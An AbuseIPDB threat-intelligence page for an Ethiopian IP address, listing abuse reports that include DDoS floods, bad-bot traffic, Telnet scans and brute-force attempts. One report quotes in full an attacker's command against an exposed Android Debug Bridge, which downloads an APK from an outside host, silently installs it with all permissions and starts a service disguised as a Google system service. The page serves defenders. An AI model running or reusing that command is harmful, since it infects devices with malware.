JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 196.189.152.203

196.189.152.203 was found in our database!

This IP was reported 16 times. Confidence of Abuse is 18%: ?

18%

ISP	Ethio Telecom
Usage Type	Fixed Line ISP
ASN	AS24757
Domain Name	ethiotelecom.et
Country	🇪🇹 Ethiopia
City	Addis Ababa, Addis Ababa

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 196.189.152.203

Whois 196.189.152.203

IP Abuse Reports for 196.189.152.203:

This IP address has been reported a total of 16 times from 12 distinct sources. 196.189.152.203 was first reported on April 4th 2024, and the most recent report was 1 week ago.

Old Reports: The most recent abuse report for this IP address is from 1 week ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 drewf.ink	2026-10-10 03:51:46 (1 week ago)	[03:51] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/ ... show more [03:51] Ran commands on an exposed Android Debug Bridge daemon: DIR=/data/local/tmp; cd $DIR 2>/dev/null\|\|cd /sdcard 2>/dev/null\|\|cd /tmp 2>/dev/null\|\|cd /; rm -f s.apk; (curl -skL http://217.60.195.187/LjEZs/Services.apk -o s.apk\|\|toybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|wget http://217.60.195.187/LjEZs/Services.apk -O s.apk\|\|busybox wget http://217.60.195.187/LjEZs/Services.apk -O s.apk) 2>/dev/null; SZ=$(ls -l s.apk 2>/dev/null \| awk '{print $5}'); pm install -r -g s.apk >/dev/null 2>&1; cmd package install -r -g s.apk >/dev/null 2>&1; pm enable com.google.android.system.service >/dev/null 2>&1; am broadcast -a com.google.android.system.service.ENABLE_APP >/dev/null 2>&1; am start -n com.google.android.system.service/.TVOptimizer >/dev/null 2>&1; am start-foreground-service -n com.google.android.system.service/.MuhHeilong >/dev/null 2>&1; pm path com.google.android.system.service 2>/dev/null; echo SZ=$SZ show less	Hacking Exploited Host IoT Targeted
🇩🇪 LRob	2026-10-03 12:46:00 (2 weeks ago)	Shop search flood (L7 DDoS) \| path: /34-meilleur-velo-plus-de-10000-euros \| query: q=Ann%C3%A9e-2026 ... show more Shop search flood (L7 DDoS) \| path: /34-meilleur-velo-plus-de-10000-euros \| query: q=Ann%C3%A9e-2026/Taille-XS \| src_port: 8622 show less	DDoS Attack Web App Attack
🇺🇸 鬼影233	2026-09-26 14:24:24 (3 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 10:57:22 (4 weeks ago)	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0. ... show more Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 08:33:28 (4 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 06:35:51 (4 weeks ago)	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Sa ... show more Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 Edg/144.0.0.0 show less	Bad Web Bot
🇺🇸 鬼影233	2026-09-24 05:38:46 (4 weeks ago)	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0. ... show more Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 show less	Bad Web Bot
🇵🇱 bmino.pl	2026-08-06 04:40:53 (2 months ago)	Autoban IP(2): 196.189.152.203 - Hostname: Ethiotelecom - City: Addis Ababa - Region: Addis Ababa - ... show more Autoban IP(2): 196.189.152.203 - Hostname: Ethiotelecom - City: Addis Ababa - Region: Addis Ababa - Country: Ethiopia - Location: 9.0245,38.7485 - Organization: AS24757 Ethio Telecom - failed attempts. show less	Web App Attack
🇺🇸 kosada.com	2026-06-29 12:40:02 (3 months ago)	Web bot: denial-of-service flood	DDoS Attack Bad Web Bot
🇩🇪 SMARTNET	2026-05-27 06:03:53 (4 months ago)	Aisuru(Mirai variant) DDoS \| Incident ID: 22ada211-5b5c-463a-b46f-60fd11dc639d	DDoS Attack
Anonymous	2026-05-09 06:43:33 (5 months ago)	Unauthorized connection to Telnet port 23	Port Scan
🇨🇳 ThreatBook.io	2026-05-01 00:31:44 (5 months ago)	ThreatBook Intelligence: Zombie,Dynamic IP more details on https://threatbook.io/ip/196.189.152.203	SSH
🇮🇹 A000Z	2026-03-23 10:29:31 (6 months ago)	Fail2Ban: 196.189.152.203 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/ ... show more Fail2Ban: 196.189.152.203 was banned for Aggressive Bad Bot detected by Nginx/Fail2Ban. UA: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 show less	Bad Web Bot
🇺🇸 NetGuard	2026-01-09 07:44:48 (9 months ago)	🚨 CRITICAL: Real-time threat on Cowrie \| unknown \| Port 23 \| PhantomGrid Real-time Defense	Brute-Force SSH
Anonymous	2025-11-26 06:01:33 (10 months ago)	scanning http requests from known botnet	Web App Attack

Showing 1 to 15 of 16 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇱🇦 172.69.227.150

🇲🇾 104.22.199.130

🇮🇳 103.181.154.84

🇬🇧 64.205.72.45

🇳🇱 45.148.10.141

🇨🇳 36.154.134.146

🇺🇸 35.252.123.164

🇬🇧 35.203.210.31

🇩🇪 34.159.66.130

🇻🇳 172.70.196.132

🇨🇳 115.236.28.74

🇨🇴 104.23.186.197

🇧🇬 79.124.40.162

🇭🇰 43.135.69.172

🇳🇱 34.34.83.143

🇳🇱 185.242.226.19

🇮🇳 182.73.164.228

🇺🇸 172.71.154.101

🇺🇸 162.216.150.78

🇫🇷 141.101.68.208